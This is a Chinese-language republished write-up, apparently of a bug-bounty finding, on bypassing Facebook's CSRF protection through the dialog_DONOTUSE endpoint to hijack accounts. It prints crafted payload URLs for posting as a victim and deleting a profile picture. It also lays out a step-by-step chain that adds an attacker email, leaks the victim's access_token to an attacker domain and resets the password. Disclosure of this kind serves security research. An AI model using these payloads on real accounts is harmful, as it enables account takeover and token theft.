您好,登錄后才能下訂單哦!
本篇文章為大家展示了怎樣繞過Facebook CSRF防護(hù)機(jī)制實(shí)現(xiàn)賬戶劫持,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
今天分享的這個(gè)漏洞是Facebook的CSRF防護(hù)機(jī)制繞過漏洞,攻擊者利用這個(gè)漏洞可以發(fā)送帶有CSRF token的請(qǐng)求至任意Facebook產(chǎn)品服務(wù)端用戶,實(shí)現(xiàn)賬戶劫持。某些場(chǎng)景下,攻擊者可能會(huì)構(gòu)造惡意URL,誘惑受害者用戶點(diǎn)擊URL以觸發(fā)漏洞,實(shí)現(xiàn)有效的Facebook賬戶劫持目的。
我發(fā)現(xiàn)的存在漏洞的Facebook功能服務(wù)端為:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX
其中,XXXX為可以構(gòu)造對(duì)服務(wù)端發(fā)起POST請(qǐng)求,且?guī)⒌腇acebook接口,CSRF防護(hù)token - fb_dtsg會(huì)自動(dòng)由Facebook生成并添加到請(qǐng)求內(nèi)容中。
對(duì)于攻擊者來說,完全可以構(gòu)造一個(gè)讓受害者信服的URL來點(diǎn)擊觸發(fā)漏洞,因?yàn)榭稍诖嬖诼┒吹姆?wù)端中調(diào)用其它Facebook功能服務(wù)接口,并可在其中包含請(qǐng)求參數(shù)和Anti-CSRF token - fb_dtsg,最終實(shí)現(xiàn)對(duì)服務(wù)端的POST請(qǐng)求。
利用上述漏洞服務(wù)端,經(jīng)過構(gòu)造,只要目標(biāo)受害者點(diǎn)擊訪問了構(gòu)造后的URL,攻擊者就能實(shí)現(xiàn)多種目的操作。比如:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR
這個(gè)操作會(huì)跳出一個(gè)密碼輸入確認(rèn)框來,只要受害者輸入密碼確定后,他自己的賬戶就會(huì)被刪除了。
要實(shí)現(xiàn)賬戶劫持,我們需要向受害者賬戶中添加一個(gè)新的郵箱地址或手機(jī)號(hào)碼。但這里的問題在于,受害者需要訪問兩個(gè)單獨(dú)的URL,一個(gè)用來實(shí)現(xiàn)郵箱或手機(jī)號(hào)碼添加,一個(gè)用來確認(rèn)操作。由于“正?!庇脕硖砑余]箱或手機(jī)號(hào)碼的服務(wù)端,并不存在添加成功后的對(duì)用戶跳轉(zhuǎn)的“next”參數(shù),所以,為了解決這個(gè)問題,我需要找到一個(gè)帶有“next”參數(shù)的服務(wù)端,這樣就能利用一個(gè)URL來實(shí)現(xiàn)賬戶劫持了。
第一步:需要授權(quán)驗(yàn)證攻擊者的app應(yīng)用,該過程中會(huì)重定向到https://www.facebook.com/v3.2/dialog/oauth,接下來會(huì)攜帶access_token參數(shù)自動(dòng)跳轉(zhuǎn)到攻擊者構(gòu)造的網(wǎng)頁(yè)內(nèi)容或網(wǎng)站中,access_token具有該app應(yīng)用允許訪問的一些范圍,因?yàn)樵?ajax/appcenter/redirect_to_app已經(jīng)經(jīng)過授權(quán),所以這里可以無用戶交互。
將這個(gè)構(gòu)建好的URL鏈接發(fā)送給目標(biāo)受害者用戶:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog
有多個(gè)過程會(huì)用到該步驟:
首先,使用 /v3.2/dialog/oauth 端點(diǎn)在“next” 參數(shù)中繞過Facebook的重定向保護(hù),F(xiàn)acebook即使有l(wèi)inkshim惡意跳轉(zhuǎn)防護(hù),但在請(qǐng)求中加入“next” 參數(shù)的目的是為了攔截一些惡意重定向嘗試。
其次,使用收到的token識(shí)別每個(gè)受害者,這將有助于以后提取出該與特定用戶對(duì)應(yīng)的確認(rèn)碼。
第二步:攻擊者網(wǎng)站收到受害者的訪問token,然后會(huì)在該網(wǎng)頁(yè)中為創(chuàng)建一個(gè)郵箱并把受害得跳轉(zhuǎn)到以下鏈接:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]
該鏈接完成以下動(dòng)作:
首先,它用/add_contactpoint/dialog/submit/ 功能為受害者賬戶生成一個(gè)攻擊者可控的郵箱(該過程中無需密碼確認(rèn)),之后,它會(huì)在“next” 參數(shù)中跳轉(zhuǎn)到攻擊者選定好的接口,如下:
"/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}"
這樣一來,受害者的訪問請(qǐng)求會(huì)包含access_token跳轉(zhuǎn)到 “ATTACKER_DOMAIN”上去。
第三步:攻擊者網(wǎng)站收到“access_token”后,提取出受害者用戶ID,然后在郵箱中查找形如以下Facebook確認(rèn)郵箱添加的鏈接,其中CODE 和 HASH是Facebook生成的。
對(duì)攻擊者來說,這種方法非常簡(jiǎn)單,但是如果要把受害者跳轉(zhuǎn)到https://www.facebook.com/settings?section=email實(shí)現(xiàn)郵箱添加,那么就需要/confirm_code/dialog/submit/ 功能來進(jìn)行確認(rèn),好在其中包含一個(gè)“next” 參數(shù),會(huì)在確認(rèn)之后,可自動(dòng)把受害者跳轉(zhuǎn)到Facebook首頁(yè)。
第四步:現(xiàn)在一個(gè)新郵箱已經(jīng)添加到了受害者賬戶中了,攻擊者就可以借此來重置密碼實(shí)現(xiàn)賬戶劫持了。
上述驗(yàn)證過程比較冗長(zhǎng),但攻擊過程卻是一瞬間的事,非常危險(xiǎn),該漏洞可以不針對(duì)特定用戶,只要是訪問了第一步構(gòu)造鏈接的任何Facebook用戶都可能中招,只需把具體執(zhí)行操作腳本部署在攻擊者托管網(wǎng)站上就行。
上述內(nèi)容就是怎樣繞過Facebook CSRF防護(hù)機(jī)制實(shí)現(xiàn)賬戶劫持,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。